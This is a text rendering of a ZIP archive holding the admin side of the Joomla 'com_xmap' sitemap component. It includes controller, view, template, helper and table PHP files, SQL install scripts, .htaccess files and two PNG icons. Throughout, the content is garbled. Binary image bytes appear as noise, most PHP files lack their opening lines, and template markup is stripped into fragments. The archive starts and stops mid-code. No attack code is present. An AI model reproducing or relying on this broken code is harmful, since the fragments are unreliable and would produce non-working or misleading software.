'.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',(string)$query)); return $query; } } PK@y>\((+components/com_xmap/images/xmap-favicon.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<IDATxڤS_HSQνww]ڒE5S 2R(@z=,-!,/F6Z]N{wm}g=z9~;0 fa`v!Qo6gqI&B@4AG-1~e^tmF’تh:3+ hb6p} i#*/ƃU@8: ݁A Q m5YqxH)Q2 ? Dz9xQ!|t2Vc:$12tvkXQX_:{\dJ`hj*}*lh HM{npz[œ?$E$dE^YxyԽ_6UУ1\rnA f %eIvrj88~dYWC_K)ClI<U Jf5}Ŕr%o!*G&j'z뾡}߆E-)-vr_< Q~+X=:ʗ>Yugˢz:CV5(k>G{zt9@A "W~lO4E}>~ 5Jȿ-IENDB`PK@y>\t +components/com_xmap/images/sitemap-icon.pngnuW+APNG  IHDR00WtEXtSoftwareAdobe ImageReadyqe<IDATxb?PL Cz` <~/ Hw|QD=u-dyRH#9ģRlZAP_vh ,Ih4  ,Cέh$K#]ʛϾRܨS&9H>/_̶3RcUЛG3.~oYt-*1y<@Z"쬚8<rtXAL B|ogsj!0#Q6RRzrT?LLf f'QC7hP5TM[SYkJ [DĘVT5.ȱb0X#%+SڰF=0R=&K05hG/FIENDB`PK@y>\)$components/com_xmap/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6%components/com_xmap/images/index.htmlnuW+APK@y>\wncomponents/com_xmap/xmap.phpnuW+Aexecute(JFactory::getApplication()->input->get('task')); $controller->redirect();PK@y>\)components/com_xmap/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6components/com_xmap/index.htmlnuW+APK@y>\6'components/com_xmap/elements/index.htmlnuW+APK@y>\~~(components/com_xmap/elements/sitemap.phpnuW+AsetQuery($sql); $rows = $db->loadObjectList(); $html = JHTML::_('select.genericlist',$rows,$fieldName,'','id','name',$value); return $html; } } PK@y>\)&components/com_xmap/elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\O~A"components/com_xmap/controller.phpnuW+AregisterTask('navigator-links', 'navigatorLinks'); } /** * Display the view */ public function display($cachable = false, $urlparams = false) { require_once JPATH_COMPONENT . '/helpers/xmap.php'; // Get the document object. $document = JFactory::getDocument(); // Set the default view name and format from the Request. $vName = JRequest::getWord('view', 'sitemaps'); $vFormat = $document->getType(); $lName = JRequest::getWord('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. $model = $this->getModel($vName); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } function navigator() { $db = JFactory::getDBO(); $document = JFactory::getDocument(); $app = JFactory::getApplication('administrator'); $id = JRequest::getInt('sitemap', 0); $link = urldecode(JRequest::getVar('link', '')); $name = JRequest::getCmd('e_name', ''); if (!$id) { $id = $this->getDefaultSitemapId(); } if (!$id) { JError::raiseWarning(500, JText::_('Xmap_Not_Sitemap_Selected')); return false; } $app->setUserState('com_xmap.edit.sitemap.id', $id); $view = $this->getView('sitemap', $document->getType()); $model = $this->getModel('Sitemap'); $view->setLayout('navigator'); $view->setModel($model, true); // Push document object into the view. $view->assignRef('document', $document); $view->navigator(); } function navigatorLinks() { $db = JFactory::getDBO(); $document = JFactory::getDocument(); $app = JFactory::getApplication('administrator'); $id = JRequest::getInt('sitemap', 0); $link = urldecode(JRequest::getVar('link', '')); $name = JRequest::getCmd('e_name', ''); if (!$id) { $id = $this->getDefaultSitemapId(); } if (!$id) { JError::raiseWarning(500, JText::_('Xmap_Not_Sitemap_Selected')); return false; } $app->setUserState('com_xmap.edit.sitemap.id', $id); $view = $this->getView('sitemap', $document->getType()); $model = $this->getModel('Sitemap'); $view->setLayout('navigator'); $view->setModel($model, true); // Push document object into the view. $view->assignRef('document', $document); $view->navigatorLinks(); } private function getDefaultSitemapId() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('id'); $query->from($db->quoteName('#__xmap_sitemap')); $query->where('is_default=1'); $db->setQuery($query); return $db->loadResult(); } }PK@y>\6&components/com_xmap/install/index.htmlnuW+APK@y>\:{994components/com_xmap/install/uninstall.postgresql.sqlnuW+Adrop table "#__xmap_items"; drop table "#__xmap_sitemap";PK@y>\0k99.components/com_xmap/install/uninstall.utf8.sqlnuW+Adrop table `#__xmap_items`; drop table `#__xmap_sitemap`;PK@y>\jtt,components/com_xmap/install/install.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__xmap_sitemap` ( `id` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(255) DEFAULT NULL, `alias` varchar(255) DEFAULT NULL, `introtext` text DEFAULT NULL, `metadesc` text DEFAULT NULL, `metakey` text DEFAULT NULL, `attribs` text DEFAULT NULL, `selections` text DEFAULT NULL, `excluded_items` text DEFAULT NULL, `is_default` int(1) DEFAULT 0, `state` int(2) DEFAULT NULL, `access` int DEFAULT NULL, `created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP, `count_xml` int(11) DEFAULT NULL, `count_html` int(11) DEFAULT NULL, `views_xml` int(11) DEFAULT NULL, `views_html` int(11) DEFAULT NULL, `lastvisit_xml` int(11) DEFAULT NULL, `lastvisit_html` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__xmap_items` ( `uid` varchar(100) NOT NULL, `itemid` int(11) NOT NULL, `view` varchar(10) NOT NULL, `sitemap_id` int(11) NOT NULL, `properties` varchar(300) DEFAULT NULL, PRIMARY KEY (`uid`,`itemid`,`view`,`sitemap_id`), KEY `uid` (`uid`,`itemid`), KEY `view` (`view`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8PK@y>\+X12components/com_xmap/install/install.postgresql.sqlnuW+ACREATE TABLE "#__xmap_sitemap" ( "id" serial NOT NULL, "title" character varying(255) DEFAULT NULL, "alias" character varying(255) DEFAULT NULL, "introtext" text DEFAULT NULL, "metadesc" text DEFAULT NULL, "metakey" text DEFAULT NULL, "attribs" text DEFAULT NULL, "selections" text DEFAULT NULL, "excluded_items" text DEFAULT NULL, "is_default" integer DEFAULT 0, "state" integer DEFAULT NULL, "access" integer DEFAULT NULL, "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "count_xml" integer DEFAULT NULL, "count_html" integer DEFAULT NULL, "views_xml" integer DEFAULT NULL, "views_html" integer DEFAULT NULL, "lastvisit_xml" integer DEFAULT NULL, "lastvisit_html" integer DEFAULT NULL, PRIMARY KEY ("id") ); CREATE TABLE "#__xmap_items" ( "uid" character varying(100) NOT NULL, "itemid" integer NOT NULL, "view" character varying(10) NOT NULL, "sitemap_id" integer NOT NULL, "properties" varchar(300) DEFAULT NULL, PRIMARY KEY ("uid","itemid","view","sitemap_id") ); CREATE INDEX "#__xmap_items_idx_uid" on "#__xmap_items" ("uid", "itemid"); CREATE INDEX "#__xmap_items_idx_view" on "#__xmap_items" ("view"); PK@y>\)%components/com_xmap/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7?.0components/com_xmap/views/sitemaps/view.html.phpnuW+AgetLayout() !== 'modal') { XmapHelper::addSubmenu('sitemaps'); } $this->state = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $version = new JVersion; $message = $this->get('ExtensionsMessage'); if ( $message ) { JFactory::getApplication()->enqueueMessage($message); } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // We don't need toolbar in the modal window. if ($this->getLayout() !== 'modal') { if (version_compare($version->getShortVersion(), '3.0.0', '<')) { $tpl = 'legacy'; } $this->addToolbar(); } parent::display($tpl); } /** * Display the toolbar * * @access private */ protected function addToolbar() { $state = $this->get('State'); $doc = JFactory::getDocument(); $version = new JVersion; JToolBarHelper::addNew('sitemap.add'); JToolBarHelper::custom('sitemap.edit', 'edit.png', 'edit_f2.png', 'JTOOLBAR_EDIT', true); $doc->addStyleDeclaration('.icon-48-sitemap {background-image: url(components/com_xmap/images/sitemap-icon.png);}'); JToolBarHelper::title(JText::_('XMAP_SITEMAPS_TITLE'), 'sitemap.png'); JToolBarHelper::custom('sitemaps.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_Publish', true); JToolBarHelper::custom('sitemaps.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); if (version_compare($version->getShortVersion(), '3.0.0', '>=')) { JToolBarHelper::custom('sitemaps.setdefault', 'featured.png', 'featured_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true); } else { JToolBarHelper::custom('sitemaps.setdefault', 'default.png', 'default_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true); } if ($state->get('filter.published') == -2) { JToolBarHelper::deleteList('', 'sitemaps.delete','JTOOLBAR_DELETE'); } else { JToolBarHelper::trash('sitemaps.trash','JTOOLBAR_TRASH'); } JToolBarHelper::divider(); if (class_exists('JHtmlSidebar')){ JHtmlSidebar::addFilter( JText::_('JOPTION_SELECT_PUBLISHED'), 'filter_published', JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.published'), true) ); JHtmlSidebar::addFilter( JText::_('JOPTION_SELECT_ACCESS'), 'filter_access', JHtml::_('select.options', JHtml::_('access.assetgroups'), 'value', 'text', $this->state->get('filter.access')) ); $this->sidebar = JHtmlSidebar::render(); } } } PK@y>\),components/com_xmap/views/sitemaps/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6-components/com_xmap/views/sitemaps/index.htmlnuW+APK@y>\n ##:components/com_xmap/views/sitemaps/tmpl/default_legacy.phpnuW+Aitems); $baseUrl = JUri::root(); $version = new JVersion; ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->format('Y-m-d H:i'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->format('Y-m-d H:i'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    id); ?> escape($item->title); ?> is_default == 1) : ?> getShortVersion(), '3.0.0', '>=')): ?> <?php echo JText::_('Default'); ?> state): ?> [] [] []
    (escape($item->alias); ?>)
    state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PK@y>\0components/com_xmap/views/sitemaps/tmpl/form.phpnuW+APK@y>\ET1components/com_xmap/views/sitemaps/tmpl/modal.phpnuW+Aitems); ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->toFormat('%Y-%m-%d %H:%M'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->toFormat('%Y-%m-%d %H:%M'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PK@y>\62components/com_xmap/views/sitemaps/tmpl/index.htmlnuW+APK@y>\)1components/com_xmap/views/sitemaps/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o5%5%3components/com_xmap/views/sitemaps/tmpl/default.phpnuW+Aitems); $baseUrl = JUri::root(); $version = new JVersion; ?>
    sidebar)): ?>
    sidebar; ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->format('Y-m-d H:i'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->format('Y-m-d H:i'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    id); ?> escape($item->title); ?> is_default == 1) : ?> getShortVersion(), '3.0.0', '>=')): ?> <?php echo JText::_('Default'); ?> state): ?> [] [] []
    (escape($item->alias); ?>)
    state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PK@y>\6$components/com_xmap/views/index.htmlnuW+APK@y>\)#components/com_xmap/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\vݞVV/components/com_xmap/views/sitemap/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $version = new JVersion; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHTML::stylesheet('administrator/components/com_xmap/css/xmap.css'); // Convert dates from UTC $offset = $app->getCfg('offset'); if (intval($this->item->created)) { $this->item->created = JHtml::date($this->item->created, '%Y-%m-%d %H-%M-%S', $offset); } $this->_setToolbar(); if (version_compare($version->getShortVersion(), '3.0.0', '<')) { $tpl = 'legacy'; } parent::display($tpl); JRequest::setVar('hidemainmenu', true); } /** * Display the view * * @access public */ function navigator($tpl = null) { require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php'); $app = JFactory::getApplication(); $this->state = $this->get('State'); $this->item = $this->get('Item'); # $menuItems = XmapHelper::getMenuItems($item->selections); # $extensions = XmapHelper::getExtensions(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHTML::script('mootree.js', 'media/system/js/'); JHTML::stylesheet('mootree.css', 'media/system/css/'); $this->loadTemplate('class'); $displayer = new XmapNavigatorDisplayer($state->params, $this->item); parent::display($tpl); } function navigatorLinks($tpl = null) { require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php'); $link = urldecode(JRequest::getVar('link', '')); $name = JRequest::getCmd('e_name', ''); $Itemid = JRequest::getInt('Itemid'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $menuItems = XmapHelper::getMenuItems($item->selections); $extensions = XmapHelper::getExtensions(); $this->loadTemplate('class'); $nav = new XmapNavigatorDisplayer($state->params, $item); $nav->setExtensions($extensions); $this->list = array(); // Show the menu list if (!$link && !$Itemid) { foreach ($menuItems as $menutype => &$menu) { $menu = new stdclass(); #$menu->id = 0; #$menu->menutype = $menutype; $node = new stdClass; $node->uid = "menu-" . $menutype; $node->menutype = $menutype; $node->ordering = $item->selections->$menutype->ordering; $node->priority = $item->selections->$menutype->priority; $node->changefreq = $item->selections->$menutype->changefreq; $node->browserNav = 3; $node->type = 'separator'; if (!$node->name = $nav->getMenuTitle($menutype, @$menu->module)) { $node->name = $menutype; } $node->link = '-menu-' . $menutype; $node->expandible = true; $node->selectable = false; //$node->name = $this->getMenuTitle($menutype,@$menu->module); // get the mod_mainmenu title from modules table $this->list[] = $node; } } else { $parent = new stdClass; if ($Itemid) { // Expand a menu Item $items = &JSite::getMenu(); $node = & $items->getItem($Itemid); if (isset($menuItems[$node->menutype])) { $parent->name = $node->title; $parent->id = $node->id; $parent->uid = 'itemid' . $node->id; $parent->link = $link; $parent->type = $node->type; $parent->browserNav = $node->browserNav; $parent->priority = $item->selections->{$node->menutype}->priority; $parent->changefreq = $item->selections->{$node->menutype}->changefreq; $parent->menutype = $node->menutype; $parent->selectable = false; $parent->expandible = true; } } else { $parent->id = 1; $parent->link = $link; } $this->list = $nav->expandLink($parent); } parent::display('links'); exit; } /** * Display the toolbar * * @access private */ function _setToolbar() { $user = JFactory::getUser(); $isNew = ($this->item->id == 0); JToolBarHelper::title(JText::_('XMAP_PAGE_' . ($isNew ? 'ADD_SITEMAP' : 'EDIT_SITEMAP')), 'article-add.png'); JToolBarHelper::apply('sitemap.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('sitemap.save', 'JTOOLBAR_SAVE'); JToolBarHelper::save2new('sitemap.save2new'); if (!$isNew) { JToolBarHelper::save2copy('sitemap.save2copy'); } JToolBarHelper::cancel('sitemap.cancel', 'JTOOLBAR_CLOSE'); } } PK@y>\)+components/com_xmap/views/sitemap/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 6components/com_xmap/views/sitemap/tmpl/edit_legacy.phpnuW+A
    form->getLabel('id'); ?> form->getInput('id'); ?> form->getLabel('title'); ?> form->getInput('title'); ?> form->getLabel('alias'); ?> form->getInput('alias'); ?> form->getLabel('state'); ?> form->getInput('state'); ?> form->getLabel('access'); ?> form->getInput('access'); ?>
    form->getLabel('introtext'); ?>
    form->getInput('introtext'); ?>
    item->id, array('useCookie' => 1)); ?> form->getInput('selections'); ?> form->getFieldsets('attribs'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name . '-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

    ' . $this->escape(JText::_($fieldSet->description)) . '

    '; endif; ?>
      form->getFieldset($name) as $field) : ?>
    • label; ?> input; ?>
    form->getInput('is_default'); ?>
    PK@y>\)0components/com_xmap/views/sitemap/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\JD/components/com_xmap/views/sitemap/tmpl/edit.phpnuW+A
    form->getLabel('title'); ?>
    form->getInput('title'); ?>
    form->getLabel('alias'); ?>
    form->getInput('alias'); ?>
    form->getLabel('state'); ?>
    form->getInput('state'); ?>
    form->getLabel('access'); ?>
    form->getInput('access'); ?>
    form->getLabel('introtext'); ?>
    form->getInput('introtext'); ?>
    form->getInput('selections'); ?>
    form->getFieldsets('attribs'); foreach ($fieldSets as $name => $fieldSet) : ?>
    description) && trim($fieldSet->description)) : echo '

    ' . $this->escape(JText::_($fieldSet->description)) . '

    '; endif; foreach ($this->form->getFieldset($name) as $field) : ?>
    label; ?>
    input; ?>
    form->getInput('is_default'); ?>
    PK@y>\V%__4components/com_xmap/views/sitemap/tmpl/navigator.phpnuW+AaddScriptDeclaration(' var tree; var autotext = \'\'; insertLink = function (){ var link = $(\'f_link\').get(\'value\'); var text = $(\'f_text\').get(\'value\'); var title = $(\'f_title\').get(\'value\'); var cssstyle = $(\'f_cssstyle\').get(\'value\'); var cssclass = $(\'f_cssclass\').get(\'value\'); if (link != \'\' && text != \'\') { var extra =\'\'; if (title != \'\') { extra = extra + \' title=\'+title.replace(\'"\',\'"\')+\'"\'; } if (cssclass != \'\') { extra = extra + \' class=\'+cssclass.replace(\'"\',\'"\')+\'"\'; } if (cssstyle != \'\') { extra = extra + \' style=\'+cssstyle.replace(\'"\',\'"\')+\'"\'; } var tag = ""+text+""; window.parent.jInsertEditorText(tag, "'.htmlspecialchars($name).'"); } window.parent.SqueezeBox.close(); }; window.addEvent("domready",function(){ tree = new MooTreeControl({ div: \'xmap-nav_tree\', mode: \'files\', grid: true, theme: \'../media/media/images/mootree.gif\', onSelect: function (node,state) { if (typeof node.data.link != \'undefined\' && node.data.selectable == \'true\') { document.adminForm.link.value = node.data.link; if (document.adminForm.text.value == autotext ) { document.adminForm.text.value = node.text; autotext = node.text; } } } },{ text: \'Home\', open: true }); tree.root.load(\'index.php?option=com_xmap&task=navigator-links&sitemap='.$this->item->id.'&e_name='.$name.'&tmpl=component\'); }); '); ?>
      PK@y>\61components/com_xmap/views/sitemap/tmpl/index.htmlnuW+APK@y>\33:components/com_xmap/views/sitemap/tmpl/navigator_class.phpnuW+A_list=array(); $this->view='navigator'; parent::__construct( $config, $sitemap); } function printNode( &$node ) { if (!isset($node->selectable )) { $node->selectable=true; } // For extentions that doesn't set this property as this is new in Xmap 1.2.3 if (!isset($node->expandible )) { $node->expandible = true; } if ( empty($this->_list[$node->uid]) ) { // Avoid duplicated items $this->_list[$node->uid] = $node; } return false; } function &expandLink(&$parent) { $items = &JSite::getMenu(); $extensions = &$this->_extensions; $rows = null; if (strpos($parent->link,'-menu-') === 0 ) { $menutype = str_replace('-menu-','',$parent->link); // Get Menu Items $rows = $items->getItems('menutype', $menutype); } elseif ($parent->id) { $rows = $items->getItems('parent_id', $parent->id); } if ( $rows ) { foreach ($rows as $item) { if ($item->parent_id == $parent->id) { $node = new stdclass; $node->name = $item->title; $node->id = $item->id; $node->uid = 'itemid'.$item->id; $node->link = $item->link; $node->expandible = true; $node->selectable=true; // Prepare the node link XmapHelper::prepareMenuItem($node); if ( $item->home ) { $node->link = JURI::root(); } elseif (substr($item->link,0,9) == 'index.php' && $item->type != 'url' ) { if ($item->type == 'menulink') {// For Joomla 1.5 SEF compatibility $params = new JParameter($item->params); $node->link = 'index.php?Itemid=' . $params->get('menu_item'); } elseif ( strpos($item->link,'Itemid=') === FALSE ){ $node->link = 'index.php?Itemid=' . $node->id; } } elseif ($item->type == 'separator') { $node->selectable=false; } $this->printNode($node); // Add to the internal list } } } if ($parent->id) { $option = null; if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$parent->link,$matches) ) { $option = $matches[1]; } $Itemid = JRequest::getInt('Itemid'); if (!$option && $Itemid) { $item = $items->getItem($Itemid); $link_query = parse_url( $item->link ); parse_str( html_entity_decode($link_query['query']), $link_vars); $option = JArrayHelper::getValue($link_vars,'option',''); if ( $option ) { $parent->link = $item->link; } } if ( $option ) { if ( !empty($extensions[$option]) ) { $parent->uid = $option; $className = 'xmap_'.$option; $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$parent,$extensions[$option]->params)); } } } return $this->_list;; } function &getParam($arr, $name, $def) { $var = JArrayHelper::getValue( $arr, $name, $def, '' ); return $var; } } PK@y>\1I)):components/com_xmap/views/sitemap/tmpl/navigator_links.phpnuW+A list as $node) { $load = 'index.php?option=com_xmap&task=navigator-links&sitemap='.$this->item->id.'&e_name='.$name.(isset($node->id)?'&Itemid='.$node->id:'').(isset($node->link)?'&link='.urlencode($node->link):'').'&tmpl=component'; ?> expandible?" openicon=\"_open\" icon=\"_closed\" load=\"$load\"":' icon="_doc"'); ?> uid="uid; ?>" link="link); ?>" selectable="selectable?'true':'false'); ?>" /> PK@y>\6,components/com_xmap/views/sitemap/index.htmlnuW+APK@y>\6+components/com_xmap/helpers/html/index.htmlnuW+APK@y>\F0fb11)components/com_xmap/helpers/html/xmap.phpnuW+A\)*components/com_xmap/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6&components/com_xmap/helpers/index.htmlnuW+APK@y>\)%components/com_xmap/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\1Q$components/com_xmap/helpers/xmap.phpnuW+AgetShortVersion(), '3.0.0', '<')) { JSubMenuHelper::addEntry( JText::_('Xmap_Submenu_Sitemaps'), 'index.php?option=com_xmap', $vName == 'sitemaps' ); JSubMenuHelper::addEntry( JText::_('Xmap_Submenu_Extensions'), 'index.php?option=com_plugins&view=plugins&filter_folder=xmap', $vName == 'extensions'); } else { JHtmlSidebar::addEntry( JText::_('Xmap_Submenu_Sitemaps'), 'index.php?option=com_xmap', $vName == 'sitemaps' ); JHtmlSidebar::addEntry( JText::_('Xmap_Submenu_Extensions'), 'index.php?option=com_plugins&view=plugins&filter_folder=xmap', $vName == 'extensions'); } } } PK@y>\դ-- components/com_xmap/css/xmap.cssnuW+A.xmap-menu-options { border-bottom: 1px solid #CCC; padding:10px; } .xmap-menu-options label { cursor:move; } .xmap-menu-options input, .xmap-menu-options select { margin: 5px 5px 2px 0px; } ul.ul_sortable { list-style:none; margin:0; padding:0; } ul.ul_sortable li { cursor:move; background-color: #eee; margin:5px; padding: 5px; } ul.ul_sortable li label.menu_label { font-weight: bold; display: inline-block; margin-bottom: 0px; } ul.ul_sortable input[type="checkbox"] { margin: 0 3px 0 3px; } PK@y>\)!components/com_xmap/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6"components/com_xmap/css/index.htmlnuW+APK@y>\6%components/com_xmap/tables/index.htmlnuW+APK@y>\'<  &components/com_xmap/tables/sitemap.phpnuW+AloadArray($array['attribs']); $array['attribs'] = $registry->toString(); } if (isset($array['selections']) && is_array($array['selections'])) { $selections = array(); foreach ($array['selections'] as $i => $menu) { $selections[$menu] = array( 'priority' => $array['selections_priority'][$i], 'changefreq' => $array['selections_changefreq'][$i], 'ordering' => $i ); } $registry = new JRegistry(); $registry->loadArray($selections); $array['selections'] = $registry->toString(); } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = $registry->toString(); } return parent::bind($array, $ignore); } /** * Overloaded check function * * @access public * @return boolean * @see JTable::check * @since 2.0 */ function check() { if (empty($this->title)) { $this->setError(JText::_('Sitemap must have a title')); return false; } if (empty($this->alias)) { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $datenow = &JFactory::getDate(); $this->alias = $datenow->format("Y-m-d-H-i-s"); } return true; } /** * Overriden JTable::store to set modified data and user id. * * @param boolean True to update fields even if they are null. * @return boolean True on success. * @since 2.0 */ public function store($updateNulls = false) { $date = JFactory::getDate(); if (!$this->id) { $this->created = 